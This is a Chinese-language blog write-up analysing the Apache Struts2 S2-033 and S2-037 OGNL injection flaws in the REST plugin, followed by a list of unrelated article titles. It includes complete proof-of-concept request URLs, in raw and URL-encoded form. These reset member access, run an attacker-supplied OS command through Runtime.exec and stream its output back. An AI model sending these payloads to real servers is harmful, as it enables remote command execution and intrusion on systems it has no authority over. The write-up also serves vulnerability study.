前言

S2-033漏洞和S2-032类似,也是由于开启了动态方法调用,action mapper中的执行的方法名可控,导致了ognl表达式注入。

正文

Rest插件中获取action mapper是用的RestActionMapper.getMapping()

其实逻辑和DefaultActionMapper中的差不多,也是用handleDynamicMethodInvocation方法来判断是否开启了动态方法调用然后截取!后面的字符串作为action method name

其实没什么好分析的,只是由于时rest风格的请求,poc和以前有些区别,

首先在正式解析uri前会先对uri的后缀做校验,只能时“json”、“xml”、“xhtml”和空

所以我们的poc后面需要加上后缀,如果不加由于poc中本身带有.号,以S2-032的poc为例


这样Struts2会认为后缀是“.tostring”,这样后面的流程会有问题
localhost:8088/orders/3!%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=ipconfig

另外S2-032中使用的是method:S2-033中是不能这样的,原因是虽然我们再Struts.xml中配置了开启动态方法调用的常量为true,要想method:参数起作用需要DefaultActionMapper的allowDynamicMethodCalls参数为true,但是我们前面说了rest插件是使用的RestActionMapper类来getmapping的,也就是说RestActionMapper的allowDynamicMethodCalls为true,而DefaultActionMapper的allowDynamicMethodCalls参数依然为false(这里有点不好表达,说白了就是rest插件不让使用method:我是这样理解的)

S2-037

S2-037是S2-033的一个绕过,不需要开启动态方法调用就可以进行rce。RestActionMapper类的getmapping比DefaultActionMapper中多了后面一部分,也就是rest插件支持actionName/id/methodName这种方式解析uri,且并不用开启动态方法调用。

直接给出poc吧(需要url编码):
/orders/3/#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#process=@java.lang.Runtime@getRuntime().exec(#parameters.command[0]),#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()),@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros),#ros.flush(),#xx=123,#xx.toString.json?command=whoami

/orders/3/%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%2c%23process%3d%40java.lang.Runtime%40getRuntime().exec(%23parameters.command%5b0%5d)%2c%23ros%3d(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())%2c%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2c%23ros)%2c%23ros.flush()%2c%23xx%3d123%2c%23xx.toString.json?command=whoami

参考文章

https://www.jianshu.com/p/5c6958342949

https://blog.csdn.net/wyvbboy/article/details/51697909

https://cwiki.apache.org/confluence/display/WW/S2-033

最新文章

  1. Linux sendmail发送邮件失败诊断案例(一)
  2. fushioncharts 使用教程要点---使用JSON数据方式
  3. 《Haskell趣学指南 Learn You a Haskell for Great Good!》-代码实验
  4. poj 算法 分类
  5. iOS - 第三方框架 - AFN
  6. Spring AOP应用实例demo
  7. hdu 5570 balls(期望好题)
  8. JDK动态代理简单小程序
  9. Extjs的架构设计思考,单页面应用 or 多页面?
  10. 记一次诡异的jetty问题
  11. HDU2008
  12. SQL Server数据库文件与文件组总结
  13. jq中get()和eq()的区别
  14. C#:前台线程后台线程
  15. C语言Socket-模拟远程CMD(客户端向服务器发送命令,服务器执行该命令)
  16. Jmeter性能测试-分布式压力测试
  17. Spring Mongo配置多个Mongos
  18. VS2010/MFC编程入门之七(对话框:为对话框添加控件)
  19. Mysql之正则匹配
  20. Oil Deposits(DFS连通图)

热门文章

  1. 常用sql2
  2. opencv之dlib库人脸识别
  3. 001-http-总览、文件配置、常用http client、http连接池
  4. Qt 获取键盘输入
  5. 阶段5 3.微服务项目【学成在线】_day09 课程预览 Eureka Feign_08-课程预览技术方案
  6. 阶段5 3.微服务项目【学成在线】_day18 用户授权_02-方法授权-需求分析
  7. 阶段5 3.微服务项目【学成在线】_day17 用户认证 Zuul_06-用户认证-认证服务查询数据库-Bcrypt介绍
  8. python安装lnmp
  9. js实现div吸顶效果
  10. Spring Cloud(6.3):搭建OAuth2 Resource Server